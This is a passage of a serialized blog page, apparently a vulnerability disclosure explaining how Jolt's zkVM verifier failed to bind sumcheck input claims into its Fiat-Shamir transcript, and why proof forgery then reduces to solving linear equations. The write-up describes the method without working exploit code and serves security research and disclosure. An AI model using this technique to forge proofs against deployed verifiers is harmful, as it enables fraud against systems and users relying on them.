ag":25,"props":122058,"children":122059},{},[122060],{"type":29,"value":122061},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":24,"tag":25,"props":122063,"children":122064},{},[122065,122067,122145],{"type":29,"value":122066},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":24,"tag":284,"props":122068,"children":122070},{"className":122069},[2949,2950],[122071],{"type":24,"tag":327,"props":122072,"children":122074},{"className":122073},[2955],[122075],{"type":24,"tag":327,"props":122076,"children":122078},{"className":122077,"ariaHidden":2961},[2960],[122079],{"type":24,"tag":327,"props":122080,"children":122082},{"className":122081},[2966],[122083,122088,122094,122099,122140],{"type":24,"tag":327,"props":122084,"children":122087},{"className":122085,"style":122086},[2971],"height:1.0641em;vertical-align:-0.25em;",[],{"type":24,"tag":327,"props":122089,"children":122091},{"className":122090,"style":99774},[2977,2978],[122092],{"type":29,"value":122093},"O",{"type":24,"tag":327,"props":122095,"children":122097},{"className":122096},[3121],[122098],{"type":29,"value":349},{"type":24,"tag":327,"props":122100,"children":122102},{"className":122101},[2977],[122103,122108],{"type":24,"tag":327,"props":122104,"children":122106},{"className":122105},[2977,2978],[122107],{"type":29,"value":63125},{"type":24,"tag":327,"props":122109,"children":122111},{"className":122110},[3032],[122112],{"type":24,"tag":327,"props":122113,"children":122115},{"className":122114},[3037],[122116],{"type":24,"tag":327,"props":122117,"children":122119},{"className":122118},[3043],[122120],{"type":24,"tag":327,"props":122121,"children":122123},{"className":122122,"style":11594},[3048],[122124],{"type":24,"tag":327,"props":122125,"children":122126},{"style":11628},[122127,122131],{"type":24,"tag":327,"props":122128,"children":122130},{"className":122129,"style":3059},[3058],[],{"type":24,"tag":327,"props":122132,"children":122134},{"className":122133},[3064,3065,3066,3067],[122135],{"type":24,"tag":327,"props":122136,"children":122138},{"className":122137},[2977,3067],[122139],{"type":29,"value":24805},{"type":24,"tag":327,"props":122141,"children":122143},{"className":122142},[3143],[122144],{"type":29,"value":3146},{"type":29,"value":122146}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":24,"tag":68,"props":122148,"children":122149},{},[],{"type":24,"tag":228,"props":122151,"children":122153},{"id":122152},"the-six-broken-systems",[122154],{"type":29,"value":122155},"The Six Broken Systems",{"type":24,"tag":25,"props":122157,"children":122158},{},[122159],{"type":24,"tag":11511,"props":122160,"children":122163},{"alt":122161,"src":122162},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":24,"tag":25,"props":122165,"children":122166},{},[122167],{"type":29,"value":122168},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":24,"tag":68,"props":122170,"children":122171},{},[],{"type":24,"tag":235,"props":122173,"children":122175},{"id":122174},"jolt-a16z",[122176],{"type":29,"value":122177},"Jolt (a16z)",{"type":24,"tag":25,"props":122179,"children":122180},{},[122181],{"type":29,"value":122182},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":24,"tag":25,"props":122184,"children":122185},{},[122186],{"type":24,"tag":188,"props":122187,"children":122188},{},[122189],{"type":29,"value":122190},"The proof structure:",{"type":24,"tag":317,"props":122192,"children":122194},{"code":122193},"JoltProof {\n    commitments: Vec\u003CCommitment>,           // Polynomial commitments to trace\n    opening_claims: Map\u003COpeningId, Claim>,  // \u003C- THE VULNERABLE VALUES\n    proofs: Map\u003CStage, SumcheckProof>,      // Sumcheck and opening proofs\n    ...\n}\n",[122195],{"type":24,"tag":284,"props":122196,"children":122197},{"__ignoreMap":7},[122198],{"type":29,"value":122193},{"type":24,"tag":25,"props":122200,"children":122201},{},[122202],{"type":24,"tag":188,"props":122203,"children":122204},{},[122205],{"type":29,"value":122206},"The verification flow:",{"type":24,"tag":25,"props":122208,"children":122209},{},[122210],{"type":24,"tag":11511,"props":122211,"children":122214},{"alt":122212,"src":122213},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":24,"tag":25,"props":122216,"children":122217},{},[122218,122223,122225,122231,122233,122239,122241,122246],{"type":24,"tag":188,"props":122219,"children":122220},{},[122221],{"type":29,"value":122222},"The bug:",{"type":29,"value":122224}," Each sumcheck instance provides an ",{"type":24,"tag":284,"props":122226,"children":122228},{"className":122227},[],[122229],{"type":29,"value":122230},"input_claim",{"type":29,"value":122232},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":24,"tag":284,"props":122234,"children":122236},{"className":122235},[],[122237],{"type":29,"value":122238},"opening_claims",{"type":29,"value":122240}," in the proof, but they were ",{"type":24,"tag":188,"props":122242,"children":122243},{},[122244],{"type":29,"value":122245},"never absorbed into the transcript",{"type":29,"value":122247}," before the batching coefficients were derived.",{"type":24,"tag":25,"props":122249,"children":122250},{},[122251],{"type":24,"tag":11511,"props":122252,"children":122255},{"alt":122253,"src":122254},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":24,"tag":25,"props":122257,"children":122258},{},[122259],{"type":24,"tag":188,"props":122260,"children":122261},{},[122262],{"type":29,"value":122263},"How sumcheck uses opening_claims:",{"type":24,"tag":25,"props":122265,"children":122266},{},[122267,122269,122275,122277,122354],{"type":29,"value":122268},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":24,"tag":284,"props":122270,"children":122272},{"className":122271},[],[122273],{"type":29,"value":122274},"BatchedClaim",{"type":29,"value":122276}," by taking a random linear combination of the individual claims ",{"type":24,"tag":284,"props":122278,"children":122280},{"className":122279},[2949,2950],[122281],{"type":24,"tag":327,"props":122282,"children":122284},{"className":122283},[2955],[122285],{"type":24,"tag":327,"props":122286,"children":122288},{"className":122287,"ariaHidden":2961},[2960],[122289],{"type":24,"tag":327,"props":122290,"children":122292},{"className":122291},[2966],[122293,122297],{"type":24,"tag":327,"props":122294,"children":122296},{"className":122295,"style":117771},[2971],[],{"type":24,"tag":327,"props":122298,"children":122300},{"className":122299},[2977],[122301,122306],{"type":24,"tag":327,"props":122302,"children":122304},{"className":122303,"style":100008},[2977,2978],[122305],{"type":29,"value":100011},{"type":24,"tag":327,"props":122307,"children":122309},{"className":122308},[3032],[122310],{"type":24,"tag":327,"props":122311,"children":122313},{"className":122312},[3037,3038],[122314,122343],{"type":24,"tag":327,"props":122315,"children":122317},{"className":122316},[3043],[122318,122338],{"type":24,"tag":327,"props":122319,"children":122321},{"className":122320,"style":100303},[3048],[122322],{"type":24,"tag":327,"props":122323,"children":122324},{"style":117203},[122325,122329],{"type":24,"tag":327,"props":122326,"children":122328},{"className":122327,"style":3059},[3058],[],{"type":24,"tag":327,"props":122330,"children":122332},{"className":122331},[3064,3065,3066,3067],[122333],{"type":24,"tag":327,"props":122334,"children":122336},{"className":122335},[2977,2978,3067],[122337],{"type":29,"value":11334},{"type":24,"tag":327,"props":122339,"children":122341},{"className":122340},[3150],[122342],{"type":29,"value":3153},{"type":24,"tag":327,"props":122344,"children":122346},{"className":122345},[3043],[122347],{"type":24,"tag":327,"props":122348,"children":122350},{"className":122349,"style":99857},[3048],[122351],{"type":24,"tag":327,"props":122352,"children":122353},{},[],{"type":29,"value":1636},{"type":24,"tag":25,"props":122356,"children":122357},{},[122358],{"type":24,"tag":284,"props":122359,"children":122361},{"className":122360},[2949,2950],[122362],{"type":24,"tag":327,"props":122363,"children":122365},{"className":122364},[2955],[122366],{"type":24,"tag":327,"props":122367,"children":122369},{"className":122368,"ariaHidden":2961},[2960],[122370,122400,122541],{"type":24,"tag":327,"props":122371,"children":122373},{"className":122372},[2966],[122374,122378,122387,122391,122396],{"type":24,"tag":327,"props":122375,"children":122377},{"className":122376,"style":99689},[2971],[],{"type":24,"tag":327,"props":122379,"children":122381},{"className":122380},[2977,29],[122382],{"type":24,"tag":327,"props":122383,"children":122385},{"className":122384},[2977],[122386],{"type":29,"value":122274},{"type":24,"tag":327,"props":122388,"children":122390},{"className":122389,"style":2993},[2992],[],{"type":24,"tag":327,"props":122392,"children":122394},{"className":122393},[2998],[122395],{"type":29,"value":384},{"type":24,"tag":327,"props":122397,"children":122399},{"className":122398,"style":2993},[2992],[],{"type":24,"tag":327,"props":122401,"children":122403},{"className":122402},[2966],[122404,122409,122466,122470,122528,122532,122537],{"type":24,"tag":327,"props":122405,"children":122408},{"className":122406,"style":122407},[2971],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":24,"tag":327,"props":122410,"children":122412},{"className":122411},[3018],[122413,122418],{"type":24,"tag":327,"props":122414,"children":122416},{"className":122415,"style":3025},[3018,3023,3024],[122417],{"type":29,"value":115569},{"type":24,"tag":327,"props":122419,"children":122421},{"className":122420},[3032],[122422],{"type":24,"tag":327,"props":122423,"children":122425},{"className":122424},[3037,3038],[122426,122455],{"type":24,"tag":327,"props":122427,"children":122429},{"className":122428},[3043],[122430,122450],{"type":24,"tag":327,"props":122431,"children":122433},{"className":122432,"style":120981},[3048],[122434],{"type":24,"tag":327,"props":122435,"children":122436},{"style":3053},[122437,122441],{"type":24,"tag":327,"props":122438,"children":122440},{"className":122439,"style":3059},[3058],[],{"type":24,"tag":327,"props":122442,"children":122444},{"className":122443},[3064,3065,3066,3067],[122445],{"type":24,"tag":327,"props":122446,"children":122448},{"className":122447},[2977,2978,3067],[122449],{"type":29,"value":11334},{"type":24,"tag":327,"props":122451,"children":122453},{"className":122452},[3150],[122454],{"type":29,"value":3153},{"type":24,"tag":327,"props":122456,"children":122458},{"className":122457},[3043],[122459],{"type":24,"tag":327,"props":122460,"children":122462},{"className":122461,"style":121261},[3048],[122463],{"type":24,"tag":327,"props":122464,"children":122465},{},[],{"type":24,"tag":327,"props":122467,"children":122469},{"className":122468,"style":3169},[2992],[],{"type":24,"tag":327,"props":122471,"children":122473},{"className":122472},[2977],[122474,122479],{"type":24,"tag":327,"props":122475,"children":122477},{"className":122476,"style":121862},[2977,2978],[122478],{"type":29,"value":121865},{"type":24,"tag":327,"props":122480,"children":122482},{"className":122481},[3032],[122483],{"type":24,"tag":327,"props":122484,"children":122486},{"className":122485},[3037,3038],[122487,122517],{"type":24,"tag":327,"props":122488,"children":122490},{"className":122489},[3043],[122491,122512],{"type":24,"tag":327,"props":122492,"children":122494},{"className":122493,"style":100303},[3048],[122495],{"type":24,"tag":327,"props":122496,"children":122498},{"style":122497},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[122499,122503],{"type":24,"tag":327,"props":122500,"children":122502},{"className":122501,"style":3059},[3058],[],{"type":24,"tag":327,"props":122504,"children":122506},{"className":122505},[3064,3065,3066,3067],[122507],{"type":24,"tag":327,"props":122508,"children":122510},{"className":122509},[2977,2978,3067],[122511],{"type":29,"value":11334},{"type":24,"tag":327,"props":122513,"children":122515},{"className":122514},[3150],[122516],{"type":29,"value":3153},{"type":24,"tag":327,"props":122518,"children":122520},{"className":122519},[3043],[122521],{"type":24,"tag":327,"props":122522,"children":122524},{"className":122523,"style":99857},[3048],[122525],{"type":24,"tag":327,"props":122526,"children":122527},{},[],{"type":24,"tag":327,"props":122529,"children":122531},{"className":122530,"style":3705},[2992],[],{"type":24,"tag":327,"props":122533,"children":122535},{"className":122534},[3710],[122536],{"type":29,"value":118036},{"type":24,"tag":327,"props":122538,"children":122540},{"className":122539,"style":3705},[2992],[],{"type":24,"tag":327,"props":122542,"children":122544},{"className":122543},[2966],[122545,122549],{"type":24,"tag":327,"props":122546,"children":122548},{"className":122547,"style":117771},[2971],[],{"type":24,"tag":327,"props":122550,"children":122552},{"className":122551},[2977],[122553,122558],{"type":24,"tag":327,"props":122554,"children":122556},{"className":122555,"style":100008},[2977,2978],[122557],{"type":29,"value":100011},{"type":24,"tag":327,"props":122559,"children":122561},{"className":122560},[3032],[122562],{"type":24,"tag":327,"props":122563,"children":122565},{"className":122564},[3037,3038],[122566,122595],{"type":24,"tag":327,"props":122567,"children":122569},{"className":122568},[3043],[122570,122590],{"type":24,"tag":327,"props":122571,"children":122573},{"className":122572,"style":100303},[3048],[122574],{"type":24,"tag":327,"props":122575,"children":122576},{"style":117203},[122577,122581],{"type":24,"tag":327,"props":122578,"children":122580},{"className":122579,"style":3059},[3058],[],{"type":24,"tag":327,"props":122582,"children":122584},{"className":122583},[3064,3065,3066,3067],[122585],{"type":24,"tag":327,"props":122586,"children":122588},{"className":122587},[2977,2978,3067],[122589],{"type":29,"value":11334},{"type":24,"tag":327,"props":122591,"children":122593},{"className":122592},[3150],[122594],{"type":29,"value":3153},{"type":24,"tag":327,"props":122596,"children":122598},{"className":122597},[3043],[122599],{"type":24,"tag":327,"props":122600,"children":122602},{"className":122601,"style":99857},[3048],[122603],{"type":24,"tag":327,"props":122604,"children":122605},{},[],{"type":24,"tag":25,"props":122607,"children":122608},{},[122609,122611,122688,122690,122695,122697,122774,122776,122853,122855,122932],{"type":29,"value":122610},"where ",{"type":24,"tag":284,"props":122612,"children":122614},{"className":122613},[2949,2950],[122615],{"type":24,"tag":327,"props":122616,"children":122618},{"className":122617},[2955],[122619],{"type":24,"tag":327,"props":122620,"children":122622},{"className":122621,"ariaHidden":2961},[2960],[122623],{"type":24,"tag":327,"props":122624,"children":122626},{"className":122625},[2966],[122627,122631],{"type":24,"tag":327,"props":122628,"children":122630},{"className":122629,"style":116744},[2971],[],{"type":24,"tag":327,"props":122632,"children":122634},{"className":122633},[2977],[122635,122640],{"type":24,"tag":327,"props":122636,"children":122638},{"className":122637,"style":121862},[2977,2978],[122639],{"type":29,"value":121865},{"type":24,"tag":327,"props":122641,"children":122643},{"className":122642},[3032],[122644],{"type":24,"tag":327,"props":122645,"children":122647},{"className":122646},[3037,3038],[122648,122677],{"type":24,"tag":327,"props":122649,"children":122651},{"className":122650},[3043],[122652,122672],{"type":24,"tag":327,"props":122653,"children":122655},{"className":122654,"style":100303},[3048],[122656],{"type":24,"tag":327,"props":122657,"children":122658},{"style":122497},[122659,122663],{"type":24,"tag":327,"props":122660,"children":122662},{"className":122661,"style":3059},[3058],[],{"type":24,"tag":327,"props":122664,"children":122666},{"className":122665},[3064,3065,3066,3067],[122667],{"type":24,"tag":327,"props":122668,"children":122670},{"className":122669},[2977,2978,3067],[122671],{"type":29,"value":11334},{"type":24,"tag":327,"props":122673,"children":122675},{"className":122674},[3150],[122676],{"type":29,"value":3153},{"type":24,"tag":327,"props":122678,"children":122680},{"className":122679},[3043],[122681],{"type":24,"tag":327,"props":122682,"children":122684},{"className":122683,"style":99857},[3048],[122685],{"type":24,"tag":327,"props":122686,"children":122687},{},[],{"type":29,"value":122689}," are random coefficients derived from the transcript. Since ",{"type":24,"tag":284,"props":122691,"children":122693},{"className":122692},[],[122694],{"type":29,"value":122238},{"type":29,"value":122696}," (containing ",{"type":24,"tag":284,"props":122698,"children":122700},{"className":122699},[2949,2950],[122701],{"type":24,"tag":327,"props":122702,"children":122704},{"className":122703},[2955],[122705],{"type":24,"tag":327,"props":122706,"children":122708},{"className":122707,"ariaHidden":2961},[2960],[122709],{"type":24,"tag":327,"props":122710,"children":122712},{"className":122711},[2966],[122713,122717],{"type":24,"tag":327,"props":122714,"children":122716},{"className":122715,"style":117771},[2971],[],{"type":24,"tag":327,"props":122718,"children":122720},{"className":122719},[2977],[122721,122726],{"type":24,"tag":327,"props":122722,"children":122724},{"className":122723,"style":100008},[2977,2978],[122725],{"type":29,"value":100011},{"type":24,"tag":327,"props":122727,"children":122729},{"className":122728},[3032],[122730],{"type":24,"tag":327,"props":122731,"children":122733},{"className":122732},[3037,3038],[122734,122763],{"type":24,"tag":327,"props":122735,"children":122737},{"className":122736},[3043],[122738,122758],{"type":24,"tag":327,"props":122739,"children":122741},{"className":122740,"style":100303},[3048],[122742],{"type":24,"tag":327,"props":122743,"children":122744},{"style":117203},[122745,122749],{"type":24,"tag":327,"props":122746,"children":122748},{"className":122747,"style":3059},[3058],[],{"type":24,"tag":327,"props":122750,"children":122752},{"className":122751},[3064,3065,3066,3067],[122753],{"type":24,"tag":327,"props":122754,"children":122756},{"className":122755},[2977,2978,3067],[122757],{"type":29,"value":11334},{"type":24,"tag":327,"props":122759,"children":122761},{"className":122760},[3150],[122762],{"type":29,"value":3153},{"type":24,"tag":327,"props":122764,"children":122766},{"className":122765},[3043],[122767],{"type":24,"tag":327,"props":122768,"children":122770},{"className":122769,"style":99857},[3048],[122771],{"type":24,"tag":327,"props":122772,"children":122773},{},[],{"type":29,"value":122775},") were not in the transcript, the ",{"type":24,"tag":284,"props":122777,"children":122779},{"className":122778},[2949,2950],[122780],{"type":24,"tag":327,"props":122781,"children":122783},{"className":122782},[2955],[122784],{"type":24,"tag":327,"props":122785,"children":122787},{"className":122786,"ariaHidden":2961},[2960],[122788],{"type":24,"tag":327,"props":122789,"children":122791},{"className":122790},[2966],[122792,122796],{"type":24,"tag":327,"props":122793,"children":122795},{"className":122794,"style":116744},[2971],[],{"type":24,"tag":327,"props":122797,"children":122799},{"className":122798},[2977],[122800,122805],{"type":24,"tag":327,"props":122801,"children":122803},{"className":122802,"style":121862},[2977,2978],[122804],{"type":29,"value":121865},{"type":24,"tag":327,"props":122806,"children":122808},{"className":122807},[3032],[122809],{"type":24,"tag":327,"props":122810,"children":122812},{"className":122811},[3037,3038],[122813,122842],{"type":24,"tag":327,"props":122814,"children":122816},{"className":122815},[3043],[122817,122837],{"type":24,"tag":327,"props":122818,"children":122820},{"className":122819,"style":100303},[3048],[122821],{"type":24,"tag":327,"props":122822,"children":122823},{"style":122497},[122824,122828],{"type":24,"tag":327,"props":122825,"children":122827},{"className":122826,"style":3059},[3058],[],{"type":24,"tag":327,"props":122829,"children":122831},{"className":122830},[3064,3065,3066,3067],[122832],{"type":24,"tag":327,"props":122833,"children":122835},{"className":122834},[2977,2978,3067],[122836],{"type":29,"value":11334},{"type":24,"tag":327,"props":122838,"children":122840},{"className":122839},[3150],[122841],{"type":29,"value":3153},{"type":24,"tag":327,"props":122843,"children":122845},{"className":122844},[3043],[122846],{"type":24,"tag":327,"props":122847,"children":122849},{"className":122848,"style":99857},[3048],[122850],{"type":24,"tag":327,"props":122851,"children":122852},{},[],{"type":29,"value":122854}," values are independent of ",{"type":24,"tag":284,"props":122856,"children":122858},{"className":122857},[2949,2950],[122859],{"type":24,"tag":327,"props":122860,"children":122862},{"className":122861},[2955],[122863],{"type":24,"tag":327,"props":122864,"children":122866},{"className":122865,"ariaHidden":2961},[2960],[122867],{"type":24,"tag":327,"props":122868,"children":122870},{"className":122869},[2966],[122871,122875],{"type":24,"tag":327,"props":122872,"children":122874},{"className":122873,"style":117771},[2971],[],{"type":24,"tag":327,"props":122876,"children":122878},{"className":122877},[2977],[122879,122884],{"type":24,"tag":327,"props":122880,"children":122882},{"className":122881,"style":100008},[2977,2978],[122883],{"type":29,"value":100011},{"type":24,"tag":327,"props":122885,"children":122887},{"className":122886},[3032],[122888],{"type":24,"tag":327,"props":122889,"children":122891},{"className":122890},[3037,3038],[122892,122921],{"type":24,"tag":327,"props":122893,"children":122895},{"className":122894},[3043],[122896,122916],{"type":24,"tag":327,"props":122897,"children":122899},{"className":122898,"style":100303},[3048],[122900],{"type":24,"tag":327,"props":122901,"children":122902},{"style":117203},[122903,122907],{"type":24,"tag":327,"props":122904,"children":122906},{"className":122905,"style":3059},[3058],[],{"type":24,"tag":327,"props":122908,"children":122910},{"className":122909},[3064,3065,3066,3067],[122911],{"type":24,"tag":327,"props":122912,"children":122914},{"className":122913},[2977,2978,3067],[122915],{"type":29,"value":11334},{"type":24,"tag":327,"props":122917,"children":122919},{"className":122918},[3150],[122920],{"type":29,"value":3153},{"type":24,"tag":327,"props":122922,"children":122924},{"className":122923},[3043],[122925],{"type":24,"tag":327,"props":122926,"children":122928},{"className":122927,"style":99857},[3048],[122929],{"type":24,"tag":327,"props":122930,"children":122931},{},[],{"type":29,"value":66},{"type":24,"tag":25,"props":122934,"children":122935},{},[122936],{"type":24,"tag":188,"props":122937,"children":122938},{},[122939],{"type":29,"value":122940},"Why it's linear:",{"type":24,"tag":25,"props":122942,"children":122943},{},[122944,122946],{"type":29,"value":122945},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":24,"tag":284,"props":122947,"children":122949},{"className":122948},[2949,2950],[122950],{"type":24,"tag":327,"props":122951,"children":122953},{"className":122952},[2955],[122954],{"type":24,"tag":327,"props":122955,"children":122957},{"className":122956,"ariaHidden":2961},[2960],[122958],{"type":24,"tag":327,"props":122959,"children":122961},{"className":122960},[2966],[122962,122966],{"type":24,"tag":327,"props":122963,"children":122965},{"className":122964,"style":2972},[2971],[],{"type":24,"tag":327,"props":122967,"children":122969},{"className":122968,"style":100008},[2977,2978],[122970],{"type":29,"value":100011},{"type":24,"tag":25,"props":122972,"children":122973},{},[122974],{"type":24,"tag":284,"props":122975,"children":122977},{"className":122976},[2949,2950],[122978],{"type":24,"tag":327,"props":122979,"children":122981},{"className":122980},[2955],[122982],{"type":24,"tag":327,"props":122983,"children":122985},{"className":122984,"ariaHidden":2961},[2960],[122986,123076,123102,123128],{"type":24,"tag":327,"props":122987,"children":122989},{"className":122988},[2966],[122990,122994,123063,123067,123072],{"type":24,"tag":327,"props":122991,"children":122993},{"className":122992,"style":117771},[2971],[],{"type":24,"tag":327,"props":122995,"children":122997},{"className":122996},[2977],[122998,123004],{"type":24,"tag":327,"props":122999,"children":123001},{"className":123000,"style":3528},[2977,2978],[123002],{"type":29,"value":123003},"C",{"type":24,"tag":327,"props":123005,"children":123007},{"className":123006},[3032],[123008],{"type":24,"tag":327,"props":123009,"children":123011},{"className":123010},[3037,3038],[123012,123052],{"type":24,"tag":327,"props":123013,"children":123015},{"className":123014},[3043],[123016,123047],{"type":24,"tag":327,"props":123017,"children":123020},{"className":123018,"style":123019},[3048],"height:0.3361em;",[123021],{"type":24,"tag":327,"props":123022,"children":123024},{"style":123023},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[123025,123029],{"type":24,"tag":327,"props":123026,"children":123028},{"className":123027,"style":3059},[3058],[],{"type":24,"tag":327,"props":123030,"children":123032},{"className":123031},[3064,3065,3066,3067],[123033],{"type":24,"tag":327,"props":123034,"children":123036},{"className":123035},[2977,3067],[123037],{"type":24,"tag":327,"props":123038,"children":123040},{"className":123039},[2977,29,3067],[123041],{"type":24,"tag":327,"props":123042,"children":123044},{"className":123043},[2977,3067],[123045],{"type":29,"value":123046},"final",{"type":24,"tag":327,"props":123048,"children":123050},{"className":123049},[3150],[123051],{"type":29,"value":3153},{"type":24,"tag":327,"props":123053,"children":123055},{"className":123054},[3043],[123056],{"type":24,"tag":327,"props":123057,"children":123059},{"className":123058,"style":99857},[3048],[123060],{"type":24,"tag":327,"props":123061,"children":123062},{},[],{"type":24,"tag":327,"props":123064,"children":123066},{"className":123065,"style":2993},[2992],[],{"type":24,"tag":327,"props":123068,"children":123070},{"className":123069},[2998],[123071],{"type":29,"value":384},{"type":24,"tag":327,"props":123073,"children":123075},{"className":123074,"style":2993},[2992],[],{"type":24,"tag":327,"props":123077,"children":123079},{"className":123078},[2966],[123080,123084,123089,123093,123098],{"type":24,"tag":327,"props":123081,"children":123083},{"className":123082,"style":121857},[2971],[],{"type":24,"tag":327,"props":123085,"children":123087},{"className":123086},[2977,2978],[123088],{"type":29,"value":57},{"type":24,"tag":327,"props":123090,"children":123092},{"className":123091,"style":3705},[2992],[],{"type":24,"tag":327,"props":123094,"children":123096},{"className":123095},[3710],[123097],{"type":29,"value":118036},{"type":24,"tag":327,"props":123099,"children":123101},{"className":123100,"style":3705},[2992],[],{"type":24,"tag":327,"props":123103,"children":123105},{"className":123104},[2966],[123106,123110,123115,123119,123124],{"type":24,"tag":327,"props":123107,"children":123109},{"className":123108,"style":121886},[2971],[],{"type":24,"tag":327,"props":123111,"children":123113},{"className":123112,"style":100008},[2977,2978],[123114],{"type":29,"value":100011},{"type":24,"tag":327,"props":123116,"children":123118},{"className":123117,"style":3705},[2992],[],{"type":24,"tag":327,"props":123120,"children":123122},{"className":123121},[3710],[123123],{"type":29,"value":394},{"type":24,"tag":327,"props":123125,"children":123127},{"className":123126,"style":3705},[2992],[],{"type":24,"tag":327,"props":123129,"children":123131},{"className":123130},[2966],[123132,123136],{"type":24,"tag":327,"props":123133,"children":123135},{"className":123134,"style":99689},[2971],[],{"type":24,"tag":327,"props":123137,"children":123139},{"className":123138},[2977,2978],[123140],{"type":29,"value":10828},{"type":24,"tag":25,"props":123142,"children":123143},{},[123144,123145,123184,123186,123211,123213,123343,123345,123466],{"type":29,"value":122610},{"type":24,"tag":284,"props":123146,"children":123148},{"className":123147},[2949,2950],[123149],{"type":24,"tag":327,"props":123150,"children":123152},{"className":123151},[2955],[123153],{"type":24,"tag":327,"props":123154,"children":123156},{"className":123155,"ariaHidden":2961},[2960],[123157],{"type":24,"tag":327,"props":123158,"children":123160},{"className":123159},[2966],[123161,123165,123170,123175,123179],{"type":24,"tag":327,"props":123162,"children":123164},{"className":123163,"style":121829},[2971],[],{"type":24,"tag":327,"props":123166,"children":123168},{"className":123167},[2977,2978],[123169],{"type":29,"value":57},{"type":24,"tag":327,"props":123171,"children":123173},{"className":123172},[11695],[123174],{"type":29,"value":11698},{"type":24,"tag":327,"props":123176,"children":123178},{"className":123177,"style":3169},[2992],[],{"type":24,"tag":327,"props":123180,"children":123182},{"className":123181},[2977,2978],[123183],{"type":29,"value":10828},{"type":29,"value":123185}," are determined by the transcript (independent of ",{"type":24,"tag":284,"props":123187,"children":123189},{"className":123188},[2949,2950],[123190],{"type":24,"tag":327,"props":123191,"children":123193},{"className":123192},[2955],[123194],{"type":24,"tag":327,"props":123195,"children":123197},{"className":123196,"ariaHidden":2961},[2960],[123198],{"type":24,"tag":327,"props":123199,"children":123201},{"className":123200},[2966],[123202,123206],{"type":24,"tag":327,"props":123203,"children":123205},{"className":123204,"style":2972},[2971],[],{"type":24,"tag":327,"props":123207,"children":123209},{"className":123208,"style":100008},[2977,2978],[123210],{"type":29,"value":100011},{"type":29,"value":123212},"). The verifier checks that ",{"type":24,"tag":284,"props":123214,"children":123216},{"className":123215},[2949,2950],[123217],{"type":24,"tag":327,"props":123218,"children":123220},{"className":123219},[2955],[123221],{"type":24,"tag":327,"props":123222,"children":123224},{"className":123223,"ariaHidden":2961},[2960],[123225,123311],{"type":24,"tag":327,"props":123226,"children":123228},{"className":123227},[2966],[123229,123233,123298,123302,123307],{"type":24,"tag":327,"props":123230,"children":123232},{"className":123231,"style":117771},[2971],[],{"type":24,"tag":327,"props":123234,"children":123236},{"className":123235},[2977],[123237,123242],{"type":24,"tag":327,"props":123238,"children":123240},{"className":123239,"style":3528},[2977,2978],[123241],{"type":29,"value":123003},{"type":24,"tag":327,"props":123243,"children":123245},{"className":123244},[3032],[123246],{"type":24,"tag":327,"props":123247,"children":123249},{"className":123248},[3037,3038],[123250,123287],{"type":24,"tag":327,"props":123251,"children":123253},{"className":123252},[3043],[123254,123282],{"type":24,"tag":327,"props":123255,"children":123257},{"className":123256,"style":123019},[3048],[123258],{"type":24,"tag":327,"props":123259,"children":123260},{"style":123023},[123261,123265],{"type":24,"tag":327,"props":123262,"children":123264},{"className":123263,"style":3059},[3058],[],{"type":24,"tag":327,"props":123266,"children":123268},{"className":123267},[3064,3065,3066,3067],[123269],{"type":24,"tag":327,"props":123270,"children":123272},{"className":123271},[2977,3067],[123273],{"type":24,"tag":327,"props":123274,"children":123276},{"className":123275},[2977,29,3067],[123277],{"type":24,"tag":327,"props":123278,"children":123280},{"className":123279},[2977,3067],[123281],{"type":29,"value":123046},{"type":24,"tag":327,"props":123283,"children":123285},{"className":123284},[3150],[123286],{"type":29,"value":3153},{"type":24,"tag":327,"props":123288,"children":123290},{"className":123289},[3043],[123291],{"type":24,"tag":327,"props":123292,"children":123294},{"className":123293,"style":99857},[3048],[123295],{"type":24,"tag":327,"props":123296,"children":123297},{},[],{"type":24,"tag":327,"props":123299,"children":123301},{"className":123300,"style":2993},[2992],[],{"type":24,"tag":327,"props":123303,"children":123305},{"className":123304},[2998],[123306],{"type":29,"value":384},{"type":24,"tag":327,"props":123308,"children":123310},{"className":123309,"style":2993},[2992],[],{"type":24,"tag":327,"props":123312,"children":123314},{"className":123313},[2966],[123315,123319,123329,123334],{"type":24,"tag":327,"props":123316,"children":123318},{"className":123317,"style":101187},[2971],[],{"type":24,"tag":327,"props":123320,"children":123322},{"className":123321},[2977,29],[123323],{"type":24,"tag":327,"props":123324,"children":123326},{"className":123325},[2977],[123327],{"type":29,"value":123328},"expected",{"type":24,"tag":327,"props":123330,"children":123332},{"className":123331,"style":99774},[2977],[123333],{"type":29,"value":10692},{"type":24,"tag":327,"props":123335,"children":123337},{"className":123336},[2977,29],[123338],{"type":24,"tag":327,"props":123339,"children":123341},{"className":123340},[2977],[123342],{"type":29,"value":44261},{"type":29,"value":123344}," (from PCS opening), this becomes 